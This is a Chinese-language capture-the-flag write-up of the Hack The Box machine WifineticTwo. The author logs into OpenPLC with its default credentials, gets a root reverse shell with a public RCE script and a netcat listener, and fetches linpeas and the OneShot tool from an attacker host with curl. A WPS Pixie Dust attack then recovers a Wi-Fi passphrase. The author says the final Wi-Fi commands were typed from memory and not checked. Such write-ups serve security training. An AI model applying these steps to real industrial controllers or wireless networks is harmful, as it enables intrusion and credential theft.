Linux/WifineticTwo

WifineticTwo

Enumeration

nmap

经过使用 nmap 对常见的 1000 个端口进行扫描,并加入禁止 ping 的参数,长时间的扫描结果显示,仅有 22 和 8080 两个端口处于开放状态

┌──(kali㉿kali)-[~/vegetable/HTB/WifineticTwo]
└─$ nmap 10.10.11.7 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-18 23:06 EDT

Nmap scan report for 10.10.11.7
Host is up (0.37s latency).
Not shown: 978 closed tcp ports (conn-refused)
PORT      STATE    SERVICE

22/tcp    open     ssh

8080/tcp  open     http-proxy


Nmap done: 1 IP address (1 host up) scanned in 1429.79 seconds

因为 22 端口是 ssh,所以尝试访问 8080 端口,页面跳转到 /login,可以看到是 OpenPLC 的登录页面,随便尝试了一些弱口令,都提示 “Bad credentials! Try again”

首先先看看 OpenPLC 是干什么的,在网上搜索发现了这样一个结果:

OpenPLC 是一个功能齐全的标准化开源 PLC,无论是软件还是硬件,其诞生之初的重点是为自动化和研究提供低成本的工业解决方案,现广泛用于工业网络安全研究的框架。

openPLC 由三部分组成:运行时、编辑器和 HMI 构建器 。运行时负责执行 PLC 程序,编辑器用于创建 PLC 程序。使用 HMI 构建器—— ScadaBR,可以创建漂亮的基于 Web 的动画,以呈现运行后的流程状态。ScadaBR 通过 Modbus/TCP 与 OpenPLC Runtime 通信。

OpenPLC 项目根据 IEC 61131-3 标准创建,该标准定义了 PLC 的基本软件架构和编程语言,主要用于工业和家庭自动化、物联网和 SCADA(监控和数据采集)研究。

https://www.oschina.net/p/openplc

使用 gobuster 扫描目录,但是从结果上来看找到的目录基本上都经过 302 跳转到 /login

Exploitation

OpenPLC WebServer 3 Remote Code Execution

Search files: OpenPLC ≈ Packet Storm (packetstormsecurity.com)网站中找到一个漏洞,是 2021 年的,不知道起不起作用,下载 exploit 脚本运行后发现需要用户名和密码

在搜索 OpenPLC default creds 时,发现该系统默认用户名口令为 openplc/openplc

使用该用户名和密码成功登陆系统

使用刚才找到的 exploit 脚本来 getshell,但是失败了

┌──(kali㉿kali)-[~/vegetable/HTB/WifineticTwo]
└─$ python3 rce.py -u http://10.10.11.7:8080/ -l openplc -p openplc -i 10.10.14.22 -r 4444
[+] Remote Code Execution on OpenPLC_v3 WebServer
[+] Checking if host http://10.10.11.7:8080/ is Up...
[+] Host Up! ...
[+] Trying to authenticate with credentials openplc:openplc
[+] Login success!
[+] PLC program uploading... 
[+] Attempt to Code injection...
[+] Spawning Reverse Shell...
[+] Failed to receive connection :(

经过测试发现每一次运行这段脚本都会往服务器上传一个 program.st 文件,并且页面上方显示 Running: program.st

查看 Runtime Logs 时,可以看到其中有一条警告,Warning: Persistent Storage file not found,但是在网上搜索时显示它可能是一个 ui 错误,并不影响实际操作

但是在操作时,我意外得到了 shell,并且他提示我是 root

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.7] 59054
whoami
root

我决定结束这个 shell,按照刚才的操作研究研究为什么。最后发现按照如下方式进行即可

首先我启动了 Blank Program,在左侧的菜单栏中点击 programs,然后单击 Blank Program,点击页面下方 lanunch,等待程序编译完后,点击 go to dashboard,最后点击左下角的 Start PLC,然后页面显示正在运行 Blank Program,多试几次或者试试下面说的意外情况

然后在 kali 中监听 4444 端口,再次运行 exploit 脚本,然后在监听端收到了 shell,并升级该 shell

┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.22] from (UNKNOWN) [10.10.11.7] 54790
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'
root@attica04:/opt/PLC/OpenPLC_v3/webserver# ^Z
zsh: suspended  nc -nvlp 4444
                                                                                                                                                           
┌──(kali㉿kali)-[~]
└─$ stty raw -echo;fg              
[1]  + continued  nc -nvlp 4444
                               reset
reset: unknown terminal type unknown
Terminal type? screen

刚才的意外也是我在运行了 exploit 脚本后,监听端没有收到回应,但是我在尝试按照上面的步骤启动 Blank Program时,网页一直加载最后报了 503 错误,然后就在 kali 监听端发现收到了 shell,从刚才的意外得知我拿到了 root,鉴于系统不太熟悉,先不搞了。本以为已经结束了,可是我又错了,因为 /root 目录下只有 user.txt

root@attica04:/opt/PLC/OpenPLC_v3/webserver# cd /root
root@attica04:/root# ls
user.txt

Privilege Escalation

Wifi WPS Brute Force

ubuntu目录下也没有什么东西

root@attica01:/opt/PLC/OpenPLC_v3/webserver# cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
ubuntu:x:1000:1000::/home/ubuntu:/bin/bash
root@attica01:/opt/PLC/OpenPLC_v3/webserver# cd /home/ubuntu/
root@attica01:/home/ubuntu# ls -al
total 20
drwxr-x--- 2 ubuntu ubuntu 4096 Jan  7 07:44 .
drwxr-xr-x 3 root   root   4096 Jan  7 07:44 ..
-rw-r--r-- 1 ubuntu ubuntu  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 ubuntu ubuntu  807 Jan  6  2022 .profile

看了半天没什么发现,上传了 linpeas.sh,添加执行权限,然后运行

root@attica01:/tmp# curl http://10.10.14.22:8000/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  840k  100  840k    0     0   171k      0  0:00:04  0:00:04 --:--:--  186k
root@attica01:/tmp# chmod +x linpeas.sh 
root@attica01:/tmp# ./linpeas.sh 

但是在查看 linpeas.sh 的结果时又陷入了迷茫,一般来说到这一步是需要提权了,但我现在已经是 root,我该干什么?然后在这里发现很奇怪,又想了想这个机器的名称,猜测可能和 wifi 有关系

╔══════════╣ Interfaces
# symbolic names for networks, see networks(5) for more information                                                                                        
link-local 169.254.0.0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.3.2  netmask 255.255.255.0  broadcast 10.0.3.255
        inet6 fe80::216:3eff:fefc:910c  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:fc:91:0c  txqueuelen 1000  (Ethernet)
        RX packets 7970  bytes 2490929 (2.4 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 6483  bytes 3086694 (3.0 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 3789  bytes 246276 (246.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 3789  bytes 246276 (246.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可以参考 hacktricks 中有关 wifi 渗透测试的内容Pentesting Wifi | HackTricks | HackTricks,我按照下面的命令扫描了可用的 wifi,显示了 wlan0 这个无线网络接口扫描到的一个无线接入点(AP)的信息。这个接入点的MAC地址是 02:00:00:00:01:00,SSID: plcrouter 是接入点的服务集标识符,即网络名称,WPS(Wi-Fi Protected Setup)是一种简化无线网络设置的协议

root@attica01:/tmp# iw dev wlan0 scan
BSS 02:00:00:00:01:00(on wlan0)
        last seen: 1791.280s [boottime]
        TSF: 1710833386317677 usec (19801d, 07:29:46)
        freq: 2412
        beacon interval: 100 TUs
        capability: ESS Privacy ShortSlotTime (0x0411)
        signal: -30.00 dBm
        last seen: 0 ms ago
        Information elements from Probe Response frame:
        SSID: plcrouter
        Supported rates: 1.0* 2.0* 5.5* 11.0* 6.0 9.0 12.0 18.0 
        DS Parameter set: channel 1
        ERP: Barker_Preamble_Mode
        Extended supported rates: 24.0 36.0 48.0 54.0 
        RSN:     * Version: 1
                 * Group cipher: CCMP
                 * Pairwise ciphers: CCMP
                 * Authentication suites: PSK
                 * Capabilities: 1-PTKSA-RC 1-GTKSA-RC (0x0000)
        Supported operating classes:
                 * current operating class: 81
        Extended capabilities:
                 * Extended Channel Switching
                 * SSID List
                 * Operating Mode Notification
        WPS:     * Version: 1.0
                 * Wi-Fi Protected Setup State: 2 (Configured)
                 * Response Type: 3 (AP)
                 * UUID: 572cf82f-c957-5653-9b16-b5cfb298abf1
                 * Manufacturer:  
                 * Model:  
                 * Model Number:  
                 * Serial Number:  
                 * Primary Device Type: 0-00000000-0
                 * Device name:  
                 * Config methods: Label, Display, Keypad
                 * Version2: 2.0

可以考虑 WPS 的枚举,WPS 简化了将设备连接到路由器的过程,提高了使用 WPA 或 WPA2 个人加密网络的设置速度和便利性。它对于容易受到损害的 WEP 安全性是无效的。WPS 采用 8 位数的 PIN,分两半进行验证,由于其组合数量有限(11,000 种可能性),因此容易受到暴力攻击

首先将网上找到的工具在本地编译好

┌──(kali㉿kali)-[~/vegetable/tools/OneShot-C]
└─$ gcc oneshot.c -o oneshot  

然后利用 python web 将脚本上传到目标主机,并添加执行权限

root@attica01:/tmp# curl http://10.10.14.22:8000/oneshot -o oneshot
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 54160  100 54160    0     0  33768      0  0:00:01  0:00:01 --:--:-- 33765
root@attica01:/tmp# chmod +x oneshot

然后在指定的 BSSID 上发起 Pixie Dust 攻击

root@attica01:/tmp# sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...

<--snip-->

[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter

可以看到网络名称为 plcrouter,密码为 NoWWEDoKnowWhaTisReal123!,接下来尝试连接 wifi 网络,按照如下格式进行操作

wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! > config
wpa_supplicant -B -c config -i wlan0

完成后需要使用 ifconfig 来给 wlan0 配置 ip

ifconfig wlan0 192.168.1.8 netmask 255.255.255.0

*由于从连接 wifi 那一步开始忘记保存图片和命令,这两部分命令都是手敲,没有验证,可能会有手误

现在可以使用 ssh 连接网关,连接到 ap-shell

over!

参考链接:

https://www.oschina.net/p/openplc

Search files: OpenPLC ≈ Packet Storm (packetstormsecurity.com)

Pentesting Wifi | HackTricks | HackTricks

  • 38
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值